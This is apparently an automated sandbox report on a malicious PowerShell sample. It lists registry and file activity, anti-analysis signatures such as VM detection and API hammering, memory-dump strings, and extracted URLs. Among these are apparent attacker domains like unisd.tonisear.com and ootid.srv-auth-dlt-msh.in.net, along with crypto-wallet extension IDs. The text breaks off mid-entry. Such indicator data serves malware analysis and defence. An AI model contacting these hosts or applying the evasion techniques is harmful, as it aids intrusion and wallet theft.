TIME\DYNAMIC DST"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: ""; Value: "")49:T7e5,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POWERSHELL\3\POWERSHELLENGINE"; Key: "APPLICATIONBASE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001"; Key: "NAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER"; Key: "TYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER"; Key: "IMAGE PATH"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "")4a:T459,"powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\powershell.exe.config" "powershell.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.pb378ec07#\b5ba37e1558ced178a99011a1d659b52\microsoft.powershell.consolehost.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system\e43dd9c73ab5615e461bf5109c3facd6\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\0d59b0e237d7519417de10cd84bda4e7\system.core.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\system.management.automation.ni.dll.aux"4b:T406,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string Matched sigs: Contains ability to delay execution (Powershell command string) Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using web history Matched sigs: Able to identify virtual environment using user register activity Matched sigs: Able to identify virtual/sandbox environment devices Matched sigs: Able to identify virtual/sandbox environment Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Triggers a burst of requests to the same API (API Hammering)4c:T4f9,"powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6BKR3FO93J7U41X27CGX.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF229dff.TMP" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\6BKR3FO93J7U41X27CGX.temp" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF229dff.TMP" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive"4d:Ta2a,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\LINKINFO.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\LINKINFO.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\NTSHRUI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\ntshrui.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SSPICLI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\SspiCli.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SRVCLI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\srvcli.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CSCAPI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\cscapi.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll"4e:T99a,"powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6BKR3FO93J7U41X27CGX.TEMP" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6BKR3FO93J7U41X27CGX.temp" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML"4f:T541,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00004816-00000C2C-1394999584") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00002344.00000000.146055.00640000.00000004.mdmp, 00000000-00002344.00000001.147976.00640000.00000004.mdmp, 00000000-00002344.00000002.149897.00640000.00000004.mdmp, 00000000-00002344.00000003.153126.00640000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp, 00000000-00002344.00000001.147976.00722000.00000004.mdmp, 00000000-00002344.00000002.149897.00722000.00000004.mdmp, 00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found reference to API "# send only the bytes that have been read" (Indicator: " send "; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found reference to API "# if we send the whole buffer, we'll have extraneous bytes" (Indicator: " send "; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp")50:T61a,"2.5.29.37" "2.5.29.35" "4.0.0.0" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" "192.168.0.2" Potential IP "4.0.0.0" found in string "ystem.Configuration,4.0.0.0,,b03f5f7f11d50a3a" "2.5.29.32" "2.5.29.19" "2.5.4.3" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.14" "2.5.29.15" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.1" "2.5.29.17" "2.5.29.31" "2.5.29.10" "1.3.6.1" "3.0.0.0" "1.1.0.1" Potential IP "4.0.0.0" found in string "ystem.DirectoryServices,4.0.0.0,,b03f5f7f11d50a3a" "2.5.29.16" "2.5.4.10" "2.5.4.8" "2.5.4.11" "2.5.4.6" "2.5.4.7" "2.5.4.5" Potential IP "3.0.0.0" found in string "icrosoft.Powershell.PSReadline,3.0.0.0,,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Potential IP "4.0.0.0" found in string "ersion=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" Potential IP "1.0.0.0" found in string "??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1" Potential IP "1.0.0.0" found in string "??\C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.psd1" "0.0.0.46" "3.0.0.16" "4.0.1.30" "1.0.0.10" "2.0.0.143" "1.3.217.3" "25.4.14.1" "1.0.0.0"51:T2363,Heuristic match: "ootid.srv-auth-dlt-msh.in.net" Heuristic match: "api.github.com" Heuristic match: "jsonplaceholder.typicode.com" Heuristic match: "unisd.tonisear.com" Heuristic match: "hub.docker.com" Heuristic match: "registry.npmjs.org" Heuristic match: "/socket.io" Heuristic match: "pypi.org" Pattern match: "www.powershellgallery.com" Pattern match: "www.powershellgallery.comaccept-encoding" Pattern match: "https://unisd.tonisear.com/dsfnkbertj34" Heuristic match: "p..tv" Heuristic match: "d*.tn" Heuristic match: "p..tl" Heuristic match: "d*.tv" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Heuristic match: "ement.au" Heuristic match: "ntrust.net" Heuristic match: "rosoft.net" Heuristic match: "??\c:\windows\microsoft.net" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/window" Heuristic match: "## all the types of access rights understood by .net" Pattern match: "crl.microsoft.com/pki/crl/products/microocei" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "crl.microsoft.com/pki/crl/products/mi" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zt" Pattern match: "www.microsoft.com/pki/certs/miccerlii\" Pattern match: "crl.microsoft.com/pki/crl/prod9]b" Heuristic match: "9.15.cat" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "soft.net" Pattern match: "https://authint.bcentral.cn" Pattern match: "https://earth.google.com" Pattern match: "https://app.diagrams.net" Pattern match: "https://ohn.stainedunstitch.work/celqop-v9tp34n2-2ao43do-hv2wxcv-piojaip/hpwia2drvrootwn8.html" Pattern match: "https://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-us&setchannel=stable" Pattern match: "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/realnameauth.9b5fc58a.js" Heuristic match: "gue3d.gq" Pattern match: "https://a.nel.cloudflare.com/report/v4" Pattern match: "crosoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0" Pattern match: "http://www.microsoft.com/powershell" Heuristic match: "~~10.0.16299.15.cat" Heuristic match: "webextension@metamask.io" Heuristic match: "ronin-wallet@axieinfinity.com" Heuristic match: "browserextension@rainbow.me" Pattern match: "w.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pk" Pattern match: "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/sidepane.d5bcd879.js" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0x" Pattern match: "http://www.microsoft.com/pki/certs/microsofttimestamppca.crt0" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526726" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526920" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526919" Pattern match: "https://unisd.tonisear.c" Heuristic match: "*cache.pm" Pattern match: "https://ootid.srv-auth-dlt-msh.in.net/was0do6si2in" Pattern match: "https://ootid.srv-auth-dlt-msh.in.net/pylupdate6in" Pattern match: "www.youtube.com" Pattern match: "https://edge-clo" Pattern match: "https://authin" Pattern match: "reedge.net/consu" Pattern match: "https://edge-c" Pattern match: "dge.net/consumer4" Pattern match: "https://edg" Heuristic match: "w p..tv" Heuristic match: "w d*.tv" Heuristic match: "w p..tp" Heuristic match: "/u.ki"52:T13886,Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002344.00000000.146055.00640000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002344.00000000.146055.00640000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e(" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl09vp(l9v8,l9v(*l9v" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002344.00000000.146055.00722000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002344.00000000.146055.00980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002344.00000000.146055.00980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002344.00000000.146055.00980000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fe" - Source: "00000000-00002344.00000000.146055.076F0000.00000004.mdmp") Found URL 